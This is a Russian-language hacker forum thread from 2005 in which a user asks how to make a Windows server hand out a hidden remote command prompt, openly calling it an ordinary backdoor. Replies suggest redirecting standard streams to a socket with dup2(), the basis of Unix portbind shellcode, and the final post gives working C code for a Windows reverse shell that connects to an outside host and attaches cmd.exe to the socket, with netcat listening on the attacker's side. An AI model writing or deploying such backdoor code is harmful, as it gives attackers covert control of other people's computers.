получение удаленной коммандной строки

Тема в разделе "WASM.NETWORKS", создана пользователем danko, 26 янв 2005.

  1. danko

    danko New Member

    Публикаций:
    0
    Регистрация:
    26 янв 2005
    Сообщения:
    3
    Столкнулся с такой проблемлй: хочу чтобы при коннекте к серверу, он выдавал удаленную командную строку с правами того пользователя который сейчас в системе (все это дело под виндвс). Сначала подумал все просто: открываем сокет на прослушку и при accept'e создаем новый поток в котором выполняем WinExec ("cmd.exe", SW_HIDE); Но по такой схеме, при подключении тем же telnet'ом на открытый порт сервера, cmd запускается на сервере, но клиент ничего не получает, что я не так делаю, подскажите плз
     
  2. vinnie_pooh

    vinnie_pooh New Member

    Публикаций:
    0
    Регистрация:
    30 июн 2004
    Сообщения:
    98
    Может, стоит попробовать PsTools by Russinovich? Или посмотрерь, как он это делает.
     
  3. intuit

    intuit New Member

    Публикаций:
    0
    Регистрация:
    1 июн 2003
    Сообщения:
    28
    danko

    ты забыл перенаправить стандартные потоки(ввода, вывода, до кучи можно еще и ошибок) в свой сокет.

    Проще всего это сделать при помощи функции dup2().

    Пример:

    dup2(socket, STDOUT_FILENO);

    dup2(socket, STDIN_FILENO);
     
  4. danko

    danko New Member

    Публикаций:
    0
    Регистрация:
    26 янв 2005
    Сообщения:
    3


    на сисинтернэлс не нашел исходников к PsTools, есть ли что-ть еще? перерыл все на исходниках.ру, тоже ничего не нашел. Не может быть чтобы такого не было в сети, это же обычный бэкдор.

    dup2(...) похоже то что мне нужно, попробую сейчас, а то я уж грешным делом подумал, что нужно какой-ть шеллкод писать
     
  5. Paranoid333

    Paranoid333 New Member

    Публикаций:
    0
    Регистрация:
    4 май 2004
    Сообщения:
    11
  6. intuit

    intuit New Member

    Публикаций:
    0
    Регистрация:
    1 июн 2003
    Сообщения:
    28
    > Во-во, именно его(CMD-Shell)! Как првильно написать смотри в статье К. Касперски (правда на сях)"CMD-shell на службе у хакера"



    не знаю, что уж там майкрософт намутила с концепцией сокетов в windows, мой пример отлично работает в unix(не требуется никаких дополнительных каналов для связи дескрипторов ввода/вывода и сокетов) .

    Кстати, именно на нем основано большинство portbind-шеллкодов под *nix.
     
  7. Paranoid333

    Paranoid333 New Member

    Публикаций:
    0
    Регистрация:
    4 май 2004
    Сообщения:
    11
    извиняюсь за оффтоп, но...





    Ну так этож M$, в никсах многие вещи сделаны проще, логичней и понятней, для Людей, так сказать. Мелкомягкие постоянно пытаються выдумать что-нибуть (псевдо)своё, правда далеко не всегда получается хорошо....
     
  8. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
  9. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    703
    старье можно через критпроцессА там в стартап инфо главное передат стдин и стдаут на сокет слушающий Ж))

    Правда єто будет пахать только под вин ХП, из-за єтого моюс татью про єту фишку в самаг не взяли Ж((



    Тип на отрез отказался мне верить что єто работает а у него 2000 стояла Ж((
     
  10. Kola

    Kola New Member

    Публикаций:
    0
    Регистрация:
    23 июн 2004
    Сообщения:
    69
    вот рабочий код под Винду:


    Код (Text):
    1. WSADATA wsaData;
    2. SOCKET hSocket;
    3. STARTUPINFO si;
    4. PROCESS_INFORMATION pi;
    5. struct sockaddr_in adik_sin;
    6. memset(&adik_sin,0,sizeof(adik_sin));
    7. memset(&si,0,sizeof(si));
    8. WSAStartup(MAKEWORD(2,0),&wsaData);
    9. hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    10. if(INVALID_SOCKET == hSocket)
    11.     return false;
    12.  
    13. adik_sin.sin_family = AF_INET;
    14. adik_sin.sin_port = htons(port);
    15. adik_sin.sin_addr.s_addr = inet_addr(hostname);
    16. int nConnect = connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
    17. if(SOCKET_ERROR == nConnect)
    18. {
    19.     return false;
    20. }
    21. si.cb = sizeof(si);
    22. si.dwFlags = STARTF_USESTDHANDLES;
    23. si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
    24. CreateProcess(NULL,"cmd.exe",NULL,
    25. NULL,true,NULL,NULL,NULL,&si,&pi);




    ...ну и ессно у себя надо NC или что-то типа того запустить :))